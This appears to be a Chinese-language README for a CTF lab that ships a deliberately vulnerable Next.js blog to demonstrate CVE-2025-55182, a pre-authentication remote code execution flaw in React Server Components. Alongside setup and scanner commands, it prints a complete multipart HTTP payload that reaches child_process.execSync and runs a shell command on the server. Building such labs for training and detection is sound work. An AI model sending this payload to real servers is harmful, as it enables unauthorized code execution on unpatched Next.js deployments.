CyberSec Blog CTF - React2Shell PoC

该仓库提供了一个基于使用Next.js和React Server Components的网络安全博客的易受攻击的CTF（夺旗赛）环境。

CVE-2025-55182 : 在React Server Components 19.0.0、19.1.0、19.1.1和19.2.0版本中的预认证远程代码执行（RCE）漏洞。易受攻击的代码不安全地反序列化HTTP请求到Server Function端点的payload。

CVE-2025-66478 : 影响使用App Router的Next.js应用程序。

CTF 描述

该挑战展示了一个网络安全博客，具有：

5篇关于安全主题（Web、React、CTF、Next.js、反序列化）的文章
3位虚构作者
现代深色模式界面

该博客使用了React和Next.js的易受攻击版本，从而可以利用React2Shell漏洞。

使用的易受攻击版本

Package	Version
`next`	16.0.6
`react`	19.2.0
`react-dom`	19.2.0

如何启动CTF

使用Docker（推荐）

# Construire l'image
docker build -t react2shell-poc .

# Lancer le conteneur
docker run --rm -p 127.0.0.1:3000:3000 react2shell-poc

不使用Docker

npm install
npm run build
npm run start

然后访问 http://127.0.0.1:3000

如何检测漏洞

使用AssetNote扫描器

git clone https://github.com/assetnote/react2shell-scanner && cd react2shell-scanner
virtualenv venv && source venv/bin/activate && pip install -r requirements.txt

python3 scanner.py -u http://127.0.0.1:3000

使用Nuclei

nuclei -t ./nuclei-template/CVE-2025-55182.yaml -u http://127.0.0.1:3000

如何利用

使用React2Shell工具

参见 React2Shell/ 目录以获取Python利用代码。

手动HTTP Payload

POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

响应将包含 id 命令的结果，位于 x-action-redirect 头部中。

参考

基于simple-nextjs-blog模板和CVE-2025-55182易受攻击环境的自定义CTF挑战。

CVE-2025-55182-React2Shell-Lab

最受欢迎